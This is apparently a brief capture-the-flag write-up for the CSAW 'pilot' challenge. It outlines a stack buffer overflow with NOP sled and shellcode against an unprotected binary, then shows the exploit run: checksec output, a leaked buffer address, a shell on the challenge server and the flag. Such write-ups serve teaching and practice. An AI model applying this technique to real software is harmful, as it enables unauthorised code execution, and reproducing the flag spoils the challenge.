Simple bufferoverflow , we actually have a read size of 0x40 stack the binary doesn’t have any kind of protections so it’s a very easy one, just a simple buffer overflow, we even get the buffer address to jump!
The plan is:
1 2 3 4
1 - Caculate the offset to overflow. 2 - Extract the address of the buffer. 3 - Insert nops at the beginning and then shell code, the rest of the buffer fill it with A or any other values 4 - Modify the return address with the value of the beginning of the buffer
$ python pilot.py [*] '~/ctf/csaw/pwn/pilot' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments [+] Opening connection to pwn.chal.csaw.io on port 8464: Done [*] LEAKED BUFFER 0x7ffc2562d050 [*] Switching to interactive mode $ ls flag pilot $ cat flag flag{1nput_c00rd1nat3s_Strap_y0urse1v3s_1n_b0ys}